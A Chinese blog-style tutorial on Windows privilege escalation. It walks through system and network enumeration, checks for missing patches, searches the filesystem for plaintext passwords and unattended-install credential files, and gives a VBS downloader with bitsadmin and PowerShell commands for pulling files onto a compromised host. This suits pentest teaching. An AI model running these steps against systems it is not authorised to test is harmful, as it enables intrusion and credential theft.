介绍
这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。
window权限提升基础知识
初始信息收集
在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,
确定操作系统名称和版本
1 | C:\Users\sanr> systeminfo | findstr /B /C:”OS Name” /C:”OS Version” |
查看主机名
1 | C:\Users\sanr> hostname |
查看所有环境变量
1 | C:\Users\sanr> SET |
查看用户跟用户详细信息
12 | C:\Users\sanr> net userC:\Users\sanr> net user sanr |
查看在线用户
1 | C:\Users\sanr> query user |
查询终端端口
1 | C:\Users\sanr> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber |
网络连接
让我们来看看该系统的网络设置 – 基本网络,路由,防火墙等。
查看ip dns地址
1 | C:\Users\sanr>ipconfig /all |
要查看路由表
1 | C:\Users\sanr> route print |
要查看ARP缓存:
1 | C:\Users\sanr> arp -A |
查看网络连接
1 | C:\Users\sanr> netstat -ano |
要查看防火墙规则:
123 | C:\Users\sanr> netstat -anoC:\Users\sanr> netsh firewall show configC:\Users\sanr> netsh firewall show state |
应用程序和服务
查看系统上的计划任务
1 | C:\Users\sanr> schtasks /QUERY /fo LIST /v |
要查看服务的进程ID:
1 | C:\Users\sanr> tasklist /SVC |
要查看已安装驱动程序的列表:
1 | C:\Users\sanr> DRIVERQUERY |
查看已经启动Windows 服务
1 | C:\Users\sanr> net start |
查看某服务启动权限
123456789101112 | C:\Users\sanr> sc qc mysqla[SC] QueryServiceConfig 成功SERVICE_NAME: mysqlaTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : “D:\Program Files\phpstudy\mysql\bin\mysqld.exe” MySQLaLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : MySQLaDEPENDENCIES :SERVICE_START_NAME : LocalSystem |
利用WMIC获取有价值的数据
查看其版本的已安装程序的列表
1 | C:\Users\sanr> wmic product list brief |
查看服务,进程或启动程序的列表:
123 | C:\Users\sanr> wmic service list brief # Lists servicesC:\Users\sanr> wmic process list brief # Lists processesC:\Users\sanr> wmic startup list brief # Lists startup items |
检查已安装的更新和安装日期
1 | C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn |
搜索,您可以使用提升权限的特定漏洞
12 | C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KBxxxxxxx”# Replace with a patch version that you are searching for. Eg – KB3000061 |
执行上面的命令的没有输出,意味着那个补丁未安装。
敏感数据和directories
检查未加密的密码,或敏感信息的文件多汁:
12345 | C:\Users\sanr> cd/C:\Users\sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.C:\Users\sanr> dir /b/s config.* # Will search for all files starting with ‘config’ on the filesystem.C:\Users\sanr> findstr /si password *.xml *.ini *.txtC:\Users\sanr> findstr /si login *.xml *.ini *.txt |
除此之外,您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中,其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是:
1234 | C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xml |
目录文件操作
列出d:\www的所有目录:
1 | for /d %i in (d:\www\*) do @echo %i |
把当前路径下文件夹的名字只有1-3个字母的显示出来:
1 | for /d %i in (???) do @echo %i |
以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:
1 | for /r %i in (*.exe) do @echo %i |
以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出
1 | for /r “f:\freehost\hmadesign\web\” %i in (*.*) do @echo %i |
显示a.txt里面的内容,因为/f的作用,会读出a.txt中:
123456789101112 | for /f %i in (c:\1.txt) do echo %iRAR 打包C:\Users\sanr> rar a -k -r -s -m3 c:\1.rar c:\foldephp读文件C:\Users\sanr> c:/php/php.exe “c:/www/admin/1.php”<?php$file_handle = fopen(“f:/config.asp”, “r”);while (! feof($file_handle)) { echo fgets($file_handle);}fclose($file_handle);?> |
利用系统程序,文件下载
拥有了这些信息,我们现在可以开始实际提升我们的特权的过程。
利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络):
12345678910111213141516171819202122 | ‘ downloadfile.vbs‘ Set your settingsstrFileURL = “http://127.0.0.1/text.ico”strHDLocation = “d:\text.ico”‘ Fetch the fileSet objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”)objXMLHTTP.open “GET”, strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject(“ADODB.Stream”)objADOStream.OpenobjADOStream.Type = 1 ‘adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0 ‘Set the stream position to the startSet objFSO = Createobject(“Scripting.FileSystemObject”)If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = Nothing |
这个脚本可以在任何版本的Windows上运行,要执行它,如下。
1 | C:\Users\sanr> script.exe downloadfile.vbs |
如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell:
12 | C:\Users\sanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:\text.icoC:\Users\sanr> powershell (new-object System.Net.WebClient).DownloadFile(‘http://www.jd.com/favicon.ico’,’text.ico’) |
下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。